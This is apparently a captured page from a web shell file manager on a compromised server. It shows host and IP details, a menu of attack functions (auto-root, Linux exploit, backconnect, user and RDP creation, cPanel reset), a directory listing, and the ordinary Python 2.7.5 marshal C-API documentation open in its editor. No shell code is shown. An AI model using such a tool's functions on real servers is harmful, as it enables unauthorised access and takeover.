Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.117.168.71
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-docs-2.7.5 /
html /
c-api /
[ HOME SHELL ]
Name
Size
Permission
Action
abstract.html
7.09
KB
-rw-r--r--
allocation.html
16.94
KB
-rw-r--r--
arg.html
55.63
KB
-rw-r--r--
bool.html
9.24
KB
-rw-r--r--
buffer.html
43.94
KB
-rw-r--r--
bytearray.html
13.03
KB
-rw-r--r--
capsule.html
19.04
KB
-rw-r--r--
cell.html
10.36
KB
-rw-r--r--
class.html
10.48
KB
-rw-r--r--
cobject.html
11.06
KB
-rw-r--r--
code.html
10.79
KB
-rw-r--r--
codec.html
18.94
KB
-rw-r--r--
complex.html
19.01
KB
-rw-r--r--
concrete.html
15.16
KB
-rw-r--r--
conversion.html
20.98
KB
-rw-r--r--
datetime.html
23.48
KB
-rw-r--r--
descriptor.html
10.97
KB
-rw-r--r--
dict.html
29.9
KB
-rw-r--r--
exceptions.html
75.95
KB
-rw-r--r--
file.html
21.85
KB
-rw-r--r--
float.html
15.85
KB
-rw-r--r--
function.html
13.16
KB
-rw-r--r--
gcsupport.html
20.25
KB
-rw-r--r--
gen.html
7.92
KB
-rw-r--r--
import.html
32.45
KB
-rw-r--r--
index.html
12.55
KB
-rw-r--r--
init.html
96.34
KB
-rw-r--r--
int.html
18.31
KB
-rw-r--r--
intro.html
62.21
KB
-rw-r--r--
iter.html
9.16
KB
-rw-r--r--
iterator.html
10.9
KB
-rw-r--r--
list.html
22.27
KB
-rw-r--r--
long.html
31.93
KB
-rw-r--r--
mapping.html
14.41
KB
-rw-r--r--
marshal.html
14.77
KB
-rw-r--r--
memory.html
23.17
KB
-rw-r--r--
method.html
12.47
KB
-rw-r--r--
module.html
15.33
KB
-rw-r--r--
none.html
7.39
KB
-rw-r--r--
number.html
43.95
KB
-rw-r--r--
objbuffer.html
11.26
KB
-rw-r--r--
object.html
51.97
KB
-rw-r--r--
objimpl.html
6.9
KB
-rw-r--r--
refcounting.html
11.86
KB
-rw-r--r--
reflection.html
9.82
KB
-rw-r--r--
sequence.html
28.3
KB
-rw-r--r--
set.html
28.22
KB
-rw-r--r--
slice.html
11.19
KB
-rw-r--r--
string.html
33.52
KB
-rw-r--r--
structures.html
30.79
KB
-rw-r--r--
sys.html
19.18
KB
-rw-r--r--
tuple.html
19.49
KB
-rw-r--r--
type.html
12.86
KB
-rw-r--r--
typeobj.html
150.06
KB
-rw-r--r--
unicode.html
105.59
KB
-rw-r--r--
utilities.html
7.23
KB
-rw-r--r--
veryhigh.html
40.2
KB
-rw-r--r--
weakref.html
12.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : marshal.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Data marshalling support — Python 2.7.5 documentation</title> <link rel="stylesheet" href="../_static/default.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '2.7.5', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 2.7.5 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="top" title="Python 2.7.5 documentation" href="../index.html" /> <link rel="up" title="Utilities" href="utilities.html" /> <link rel="next" title="Parsing arguments and building values" href="arg.html" /> <link rel="prev" title="Importing Modules" href="import.html" /> <link rel="shortcut icon" type="image/png" href="../_static/py.png" /> <script type="text/javascript" src="../_static/copybutton.js"></script> </head> <body> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="arg.html" title="Parsing arguments and building values" accesskey="N">next</a> |</li> <li class="right" > <a href="import.html" title="Importing Modules" accesskey="P">previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >Python/C API Reference Manual</a> »</li> <li><a href="utilities.html" accesskey="U">Utilities</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body"> <div class="section" id="data-marshalling-support"> <span id="marshalling-utils"></span><h1>Data marshalling support<a class="headerlink" href="#data-marshalling-support" title="Permalink to this headline">¶</a></h1> <p>These routines allow C code to work with serialized objects using the same data format as the <a class="reference internal" href="../library/marshal.html#module-marshal" title="marshal: Convert Python objects to streams of bytes and back (with different constraints)."><tt class="xref py py-mod docutils literal"><span class="pre">marshal</span></tt></a> module. There are functions to write data into the serialization format, and additional functions that can be used to read the data back. Files used to store marshalled data must be opened in binary mode.</p> <p>Numeric values are stored with the least significant byte first.</p> <p>The module supports two versions of the data format: version 0 is the historical version, version 1 (new in Python 2.4) shares interned strings in the file, and upon unmarshalling. Version 2 (new in Python 2.5) uses a binary format for floating point numbers. <em>Py_MARSHAL_VERSION</em> indicates the current file format (currently 2).</p> <dl class="function"> <dt id="PyMarshal_WriteLongToFile"> void <tt class="descname">PyMarshal_WriteLongToFile</tt><big>(</big>long<em> value</em>, FILE<em> *file</em>, int<em> version</em><big>)</big><a class="headerlink" href="#PyMarshal_WriteLongToFile" title="Permalink to this definition">¶</a></dt> <dd><p>Marshal a <tt class="xref c c-type docutils literal"><span class="pre">long</span></tt> integer, <em>value</em>, to <em>file</em>. This will only write the least-significant 32 bits of <em>value</em>; regardless of the size of the native <tt class="xref c c-type docutils literal"><span class="pre">long</span></tt> type.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.4: </span><em>version</em> indicates the file format.</p> </dd></dl> <dl class="function"> <dt id="PyMarshal_WriteObjectToFile"> void <tt class="descname">PyMarshal_WriteObjectToFile</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *value</em>, FILE<em> *file</em>, int<em> version</em><big>)</big><a class="headerlink" href="#PyMarshal_WriteObjectToFile" title="Permalink to this definition">¶</a></dt> <dd><p>Marshal a Python object, <em>value</em>, to <em>file</em>.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.4: </span><em>version</em> indicates the file format.</p> </dd></dl> <dl class="function"> <dt id="PyMarshal_WriteObjectToString"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyMarshal_WriteObjectToString</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *value</em>, int<em> version</em><big>)</big><a class="headerlink" href="#PyMarshal_WriteObjectToString" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a string object containing the marshalled representation of <em>value</em>.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.4: </span><em>version</em> indicates the file format.</p> </dd></dl> <p>The following functions allow marshalled values to be read back in.</p> <p>XXX What about error detection? It appears that reading past the end of the file will always result in a negative numeric value (where that’s relevant), but it’s not clear that negative values won’t be handled properly when there’s no error. What’s the right way to tell? Should only non-negative values be written using these routines?</p> <dl class="function"> <dt id="PyMarshal_ReadLongFromFile"> long <tt class="descname">PyMarshal_ReadLongFromFile</tt><big>(</big>FILE<em> *file</em><big>)</big><a class="headerlink" href="#PyMarshal_ReadLongFromFile" title="Permalink to this definition">¶</a></dt> <dd><p>Return a C <tt class="xref c c-type docutils literal"><span class="pre">long</span></tt> from the data stream in a <tt class="xref c c-type docutils literal"><span class="pre">FILE*</span></tt> opened for reading. Only a 32-bit value can be read in using this function, regardless of the native size of <tt class="xref c c-type docutils literal"><span class="pre">long</span></tt>.</p> </dd></dl> <dl class="function"> <dt id="PyMarshal_ReadShortFromFile"> int <tt class="descname">PyMarshal_ReadShortFromFile</tt><big>(</big>FILE<em> *file</em><big>)</big><a class="headerlink" href="#PyMarshal_ReadShortFromFile" title="Permalink to this definition">¶</a></dt> <dd><p>Return a C <tt class="xref c c-type docutils literal"><span class="pre">short</span></tt> from the data stream in a <tt class="xref c c-type docutils literal"><span class="pre">FILE*</span></tt> opened for reading. Only a 16-bit value can be read in using this function, regardless of the native size of <tt class="xref c c-type docutils literal"><span class="pre">short</span></tt>.</p> </dd></dl> <dl class="function"> <dt id="PyMarshal_ReadObjectFromFile"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyMarshal_ReadObjectFromFile</tt><big>(</big>FILE<em> *file</em><big>)</big><a class="headerlink" href="#PyMarshal_ReadObjectFromFile" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a Python object from the data stream in a <tt class="xref c c-type docutils literal"><span class="pre">FILE*</span></tt> opened for reading. On error, sets the appropriate exception (<a class="reference internal" href="../library/exceptions.html#exceptions.EOFError" title="exceptions.EOFError"><tt class="xref py py-exc docutils literal"><span class="pre">EOFError</span></tt></a> or <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a>) and returns <em>NULL</em>.</p> </dd></dl> <dl class="function"> <dt id="PyMarshal_ReadLastObjectFromFile"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyMarshal_ReadLastObjectFromFile</tt><big>(</big>FILE<em> *file</em><big>)</big><a class="headerlink" href="#PyMarshal_ReadLastObjectFromFile" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a Python object from the data stream in a <tt class="xref c c-type docutils literal"><span class="pre">FILE*</span></tt> opened for reading. Unlike <a class="reference internal" href="#PyMarshal_ReadObjectFromFile" title="PyMarshal_ReadObjectFromFile"><tt class="xref c c-func docutils literal"><span class="pre">PyMarshal_ReadObjectFromFile()</span></tt></a>, this function assumes that no further objects will be read from the file, allowing it to aggressively load file data into memory so that the de-serialization can operate from data in memory rather than reading a byte at a time from the file. Only use these variant if you are certain that you won’t be reading anything else from the file. On error, sets the appropriate exception (<a class="reference internal" href="../library/exceptions.html#exceptions.EOFError" title="exceptions.EOFError"><tt class="xref py py-exc docutils literal"><span class="pre">EOFError</span></tt></a> or <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a>) and returns <em>NULL</em>.</p> </dd></dl> <dl class="function"> <dt id="PyMarshal_ReadObjectFromString"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyMarshal_ReadObjectFromString</tt><big>(</big>char<em> *string</em>, Py_ssize_t<em> len</em><big>)</big><a class="headerlink" href="#PyMarshal_ReadObjectFromString" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a Python object from the data stream in a character buffer containing <em>len</em> bytes pointed to by <em>string</em>. On error, sets the appropriate exception (<a class="reference internal" href="../library/exceptions.html#exceptions.EOFError" title="exceptions.EOFError"><tt class="xref py py-exc docutils literal"><span class="pre">EOFError</span></tt></a> or <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a>) and returns <em>NULL</em>.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function used an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type for <em>len</em>. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> </div> </div> </div> </div> <div class="sphinxsidebar"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="import.html" title="previous chapter">Importing Modules</a></p> <h4>Next topic</h4> <p class="topless"><a href="arg.html" title="next chapter">Parsing arguments and building values</a></p> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li><a href="../_sources/c-api/marshal.txt" rel="nofollow">Show Source</a></li> </ul> <div id="searchbox" style="display: none"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <input type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> <p class="searchtip" style="font-size: 90%"> Enter search terms or a module, class or function name. </p> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="arg.html" title="Parsing arguments and building values" >next</a> |</li> <li class="right" > <a href="import.html" title="Importing Modules" >previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >Python/C API Reference Manual</a> »</li> <li><a href="utilities.html" >Utilities</a> »</li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation. <br /> The Python Software Foundation is a non-profit corporation. <a href="http://www.python.org/psf/donations/">Please donate.</a> <br /> Last updated on Jul 03, 2019. <a href="../bugs.html">Found a bug</a>? <br /> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3. </div> </body> </html>
Close
